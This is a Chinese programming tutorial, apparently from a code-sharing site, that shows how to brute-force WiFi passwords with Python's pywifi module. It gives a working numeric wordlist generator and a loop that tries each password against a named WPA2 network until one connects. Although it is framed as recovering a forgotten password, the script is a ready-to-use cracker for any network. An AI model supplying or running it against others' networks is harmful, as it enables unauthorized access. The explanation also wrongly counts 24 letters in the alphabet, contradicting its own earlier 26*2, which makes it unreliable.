Python使用pywifi模塊實(shí)現(xiàn)輕松查看WIFI密碼
前言
原理上WiFi密碼都是可以破解的,只不過是時間問題,26*2字母(大小寫)+10數(shù)字+特殊的字符,就形成很多個密碼組合了,加上密碼本身的個數(shù)。你也可以使用多開,多線程的方式去加速破解的速度。
我們知道,小寫字母有24個,大寫字母也有24個,數(shù)字有10個。
所以,一共有 24 + 24 + 10 = 58 個可選的字符。
現(xiàn)在,我們要生成一個8位的密碼,每一位都可以是這58個字符中的任何一個。
所以,第一位有58種選擇,第二位也有58種選擇,以此類推,直到第8位。
總的組合數(shù)是 58 × 58 × 58 × 58 × 58 × 58 × 58 × 58。
這其實(shí)就是58的8次方。
計算結(jié)果為:128063081718016
wifi的密碼長度是8-16位,如果你不幸忘記了某個wifi的密碼,但是你大概知道密碼的一些構(gòu)成,也可以參考下面的腳本,來把密碼找出來。密碼三步走如下。
1.導(dǎo)入模塊
pip install pywifi
2.生成可能的密碼組合=8,就是8為數(shù)的密碼組合
import itertools as its import datetime #生成密碼+寫入密碼+記錄花費(fèi)的時間 def generate_passwords(number): # 記錄程序運(yùn)行時間 start = datetime.datetime.now() #words = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' # 大小寫字母 + 數(shù)字 組合 words = '0123456789' # 純數(shù)字 # 生成密碼的位數(shù) passwords = its.product(words, repeat=number) #正常情況下熱點(diǎn)密碼位數(shù)為8 f = open("password.txt", 'a') for password in passwords: f.write(''.join(password)) f.write(''.join('\n')) print(password) f.close() print('可能的密碼組合,生成好了') end = datetime.datetime.now() print("總共用時:{}".format(end - start)) generate_passwords(8)
3.效驗密碼的正確性
# coding:utf-8 import pywifi from pywifi import const import time import datetime # 測試連接,返回鏈接結(jié)果 def wifi_connect(wifi_name,password): # 抓取網(wǎng)卡接口 wifi = pywifi.PyWiFi() # 獲取第一個無線網(wǎng)卡 ifaces = wifi.interfaces()[0] # 斷開所有連接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: # 創(chuàng)建WiFi連接文件 profile = pywifi.Profile() # 要連接WiFi的名稱 profile.ssid = wifi_name # 網(wǎng)卡的開放狀態(tài) profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元 profile.cipher = const.CIPHER_TYPE_CCMP # 調(diào)用密碼 profile.key = password # 刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() # 設(shè)定新的連接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi連接時間 time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi連接") # 讀取密碼本 def find_correct_password(wiff_name): print("開始破解:") # 打開密碼本文件 file = open('password.txt', "r") while True: try: #死循環(huán)讀取密碼和效驗密碼的正確 break_code = file.readline() bool = wifi_connect(wiff_name,break_code) if bool: print("密碼已破解:", break_code) print("WiFi已自動連接?。?!") break else: # 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán) print("正在核對,這個密碼是否正確...: ", break_code) except: continue if __name__ == '__main__': start = datetime.datetime.now() #要破解的wiff名稱 find_correct_password("Tenda_xxxxxx") end = datetime.datetime.now() print("本次破解WIFI密碼,時長為:{}".format(end - start))
到此這篇關(guān)于Python使用pywifi模塊實(shí)現(xiàn)輕松查看WIFI密碼的文章就介紹到這了,更多相關(guān)python pywifi查看wifi密碼內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Windows下的Jupyter Notebook 安裝與自定義啟動(圖文詳解)
這篇文章主要介紹了Windows下的Jupyter Notebook 安裝與自定義啟動(圖文詳解),需要的朋友可以參考下2018-02-02Python字典的基本用法實(shí)例分析【創(chuàng)建、增加、獲取、修改、刪除】
這篇文章主要介紹了Python字典的基本用法,結(jié)合具體實(shí)例形式分析了Python字典的創(chuàng)建、增加、獲取、修改、刪除等基本操作技巧與注意事項,需要的朋友可以參考下2019-03-03Python爬蟲實(shí)現(xiàn)獲取動態(tài)gif格式搞笑圖片的方法示例
這篇文章主要介紹了Python爬蟲實(shí)現(xiàn)獲取動態(tài)gif格式搞笑圖片的方法,結(jié)合實(shí)例形式分析了Python針對gif格式圖片的爬取、下載等相關(guān)操作技巧,需要的朋友可以參考下2018-12-12django url到views參數(shù)傳遞的實(shí)例
今天小編就為大家分享一篇django url到views參數(shù)傳遞的實(shí)例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-07-07python獲取當(dāng)前文件路徑以及父文件路徑的方法
今天小編就為大家分享一篇python獲取當(dāng)前文件路徑以及父文件路徑的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-07-07對django后臺admin下拉框進(jìn)行過濾的實(shí)例
今天小編就為大家分享一篇對django后臺admin下拉框進(jìn)行過濾的實(shí)例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-07-07